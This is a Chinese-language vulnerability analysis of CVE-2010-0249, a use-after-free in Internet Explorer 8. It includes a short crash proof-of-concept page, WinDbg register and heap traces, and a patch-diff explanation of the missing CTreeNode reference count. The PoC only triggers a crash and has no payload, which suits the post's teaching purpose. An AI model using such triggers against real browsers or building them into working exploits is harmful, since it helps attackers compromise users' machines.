CVE-2010-0249 IE8 UAF漏洞分析
CVE-2010-0249
[CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153)
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
Microsoft Internet Explorer在处理非法的事件操作时存在内存破坏漏洞。由于在创建对象以后没有增加相应的访问记数，恶意的对象操作流程可能导致指针指向被释放后重使用的内存，远程攻击者可通过诱使用户访问恶意网页非法操作内存在用户系统上执行指令。
POC来自zenhumany的博客
环境
Windows 7 x86
IE 8.0.7600.16385
POC
<html>
<script>
var event2 = null;
function test()
{
event2 = document.createEventObject(event);
document.getElementById("x").innerHTML = "foo"; // 删除初始化了事件的元素
window.setTimeout(test2, 100);
}
function test2()
{
alert(event2.srcElement); //在事件中访问已经删除了的元素
}
</script>
<body>
<div id="x">
<input type="button" value="test" onclick="test()">
</div>
</body>
</html>
分析
载入POC后，IE页面进程crash，调试信息如下
0:005> r
eax=06c90f08 ebx=00000000 ecx=06be2fd0 edx=043bf064 esi=07822f78 edi=0642efb0
eip=627a88c7 esp=043bf058 ebp=043bf06c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CEventObj::GenericGetElement+0x91:
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
分析发现edi来源于eax值，而eax值源自上层函数
627a88be 8b38 mov edi,dword ptr [eax]
627a88c0 8b5874 mov ebx,dword ptr [eax+74h]
627a88c3 85ff test edi,edi
627a88c5 745e je mshtml!CEventObj::GenericGetElement+0x11c (627a8925)
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
查看eax，发现eax是EventObject，如下
0:005> !heap -p -a eax
address 06c90f08 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7601d68: 6c90f08 f8 - 6c90000 2000
6b968e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
771a4ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77167d96 ntdll!RtlpAllocateHeap+0x000000c4
771334ca ntdll!RtlAllocateHeap+0x0000023a
6277c873 mshtml!EVENTPARAM::operator new+0x00000013
6288d2c5 mshtml!CDocument::createEventObject+0x00000083
628c2791 mshtml!Method_IDispatchpp_o0oVARIANTp+0x000000ea
6278235c mshtml!CBase::ContextInvokeEx+0x000005dc
627825d5 mshtml!CBase::InvokeEx+0x00000025
6278df9a mshtml!DispatchInvokeCollection+0x0000014c
62744998 mshtml!CDocument::InvokeEx+0x000000f0
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674aa3f6 jscript!InvokeDispatchEx+0x00000098
674aa4a0 jscript!VAR::InvokeByName+0x00000139
674bd8c8 jscript!VAR::InvokeDispName+0x0000007d
674bd96f jscript!VAR::InvokeByDispID+0x000000ce
674b51b6 jscript!CScriptRuntime::Run+0x00002a97
674b5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
674b5bfb jscript!ScrFncObj::Call+0x0000008d
674b5e11 jscript!CSession::Execute+0x0000015f
674af3ee jscript!NameTbl::InvokeDef+0x000001b5
674aea2e jscript!NameTbl::InvokeEx+0x0000012c
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674af5f8 jscript!NameTbl::InvokeEx+0x0000037a
627919cb mshtml!CScriptCollection::InvokeEx+0x0000008a
6278f451 mshtml!CWindow::InvokeEx+0x000006ad
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
进一步查看UAF对象，推测是CTreeNode对象
0:005> !heap -p -a edi
address 0642efb0 found in
_DPH_HEAP_ROOT @ 51000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
63cc340: 642e000 2000
6b9690b2 verifier!AVrfDebugPageHeapFree+0x000000c2
771a5674 ntdll!RtlDebugFreeHeap+0x0000002f
77167aca ntdll!RtlpFreeHeap+0x0000005d
77132d68 ntdll!RtlFreeHeap+0x00000142
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
7560f1ac kernel32!HeapFree+0x00000014
6275e590 mshtml!CTreeNode::Release+0x0000002d
至此，我们得出结论：EventObject存在有某对象的CTreeNode悬垂指针，它导致了UAF的发生。接下来的问题是要搞清楚CTreeNode属于哪个元素，这里猜测是属于input标签的。调试结果印证了我们的猜测
0:005> ln poi(06efbf88)
(6f988c70) mshtml!CInput::`vftable' | (6f988eac) mshtml!CInput::`vftable'
Exact matches:
mshtml!CInput::`vftable' = <no type information>
因为POC足够的简洁明了，可以直接看出createEventObject创建了事件对象，getElementById("x").snnerHTML = "foo"清空了input标签，而alert(event2.srcElement)触发了异常访问。但是此外还有一个问题，就是event2是如何与input的CTreeNode产生的关联。
这一点根据zenhumany的解释是"如果新创建的CEventObj是从已有的CEventObj继承而来时，则这两个CEventObj事件的源相同。"，单纯凭借POC很难分析出来。
成因
其实我一直认为凭借POC是很难去判断出一个漏洞的本质成因的，因为POC往往最多可以分析出Crash的原因，至于这个Crash为什么会发生则难以判断。比如，以这个漏洞为例，我们可以知道是因为：EventObject存在有input的CTreeNode对象的悬垂指针导致的Crash，但是这个悬垂指针为什么产生却难以说清楚。为此，我们需要进行补丁对比，我觉得只有知道这个洞是怎么补的，才能说知道这个洞是怎么产生的。
在修补后的EVENTPARAM::EVENTPARAM函数中，额外增加了对CTreeNode::NodeAddRef函数的调用。就是说漏洞的原因在于复制了指针，对CTreeNode对象进行引用，但是却没有增加引用计数。
